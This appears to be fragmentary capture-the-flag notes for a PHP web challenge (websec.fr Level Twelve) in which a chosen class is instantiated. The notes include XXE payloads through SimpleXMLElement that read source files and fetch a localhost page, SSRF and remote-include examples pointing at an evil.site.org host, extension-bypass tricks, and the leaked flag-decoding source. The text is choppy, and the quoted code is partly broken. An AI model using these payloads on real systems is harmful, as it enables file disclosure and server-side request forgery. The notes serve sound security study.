

MISSRE

2019.04.03@plit00





Prl intro

F1nd flag

First

Second

End

Problem



LevelTwelve - This time, it's different.

Since we trust you *very much*, you can instanciate a class of your choice, with two arbitrary parameters.

Well, except the dangerous ones, like **splfileobject**, **globiterator**, **filesystemiterator**, and **directoryiterator**.

Lets see what you can do with this.

echo new	class	(first parameter	,	second parameter);	launch!

Splfileobject: object oriented interface for a file

Filesystemiterator: filesystem iterator

Globiterator: file system in a similar to glob()

Directoryiterator: class provides a simple interface for viewing the contents of filesystem directories.

Edna flag



echo new	1	(1	,	1);	launch!			
Fatal error: Class 'class' not found in /index.php on line 61										

PHP Object instantiation RCE XXE Attack

XML Payload

Simple XML Element





```
1.#SSRF
?fname=http://websec.fr/target
$handle = fopen("/path/to/{$_GET['fname']}.txt", 'r');

2.#url black list
id:pw@url 형식 / include User-agent

3.#include -> execute
?include_path=http%3A%2F%2Fevil.site.org%2Fevil.inc%3F
include"{$_GET['include_path']}/headder.inc"
```

Bypass extension: %00 / ? / #

PHP



Request

http://Wraper

user_input

fopen(), include/require, cURL

http://url

One Way



- Class: SimpleXMLElement
- Param1

```
<!DOCTYPE scan [<!ENTITY test
SYSTEM "php://filter/
read=convert.base64-encode/
resource=index.php">]>
```

- Param2
 - => 6

- Get us the source code of the application.
- Snippet at the bottom

Second Way

```
<?php
Congratulation, you can read this file, but this is not the end of our journey.

    Thanks to cutz for the QA.

  Thanks to blotus for finding a (now fixed) weakness in the "encryption" function.
  Thanks to nurfed for nagging us about a cheat
$text = 'Niw00gIsEykABg8qESRRCg4XNkEHNg0XCls4BwZaAVBbLU4EC2VFBTooPi0qLFUELQ==';
$key = ini_get ('user_agent');
 f ($_SERVER['REMOTE_ADDR'] === '127.0.0.1') {
    if ($_SERVER['HTTP_USER_AGENT'] !== $key) {
        die ("Cheating is bad, m'kay?");
    $i = 0;
    $flag = '';
    foreach (str_split (base64_decode ($text)) as $letter) {
        $flag .= chr (ord ($key[$i++]) ^ ord ($letter));
    die ($flag);
```



<!DOCTYPE scan [<!ENTITY test SYSTEM "php://filter/convert.base64-encode/
resource=http://127.0.0.1/level12/index.php">]>
 <scan>&test;</scan>

```
echo new class ( first parameter , second parameter )
```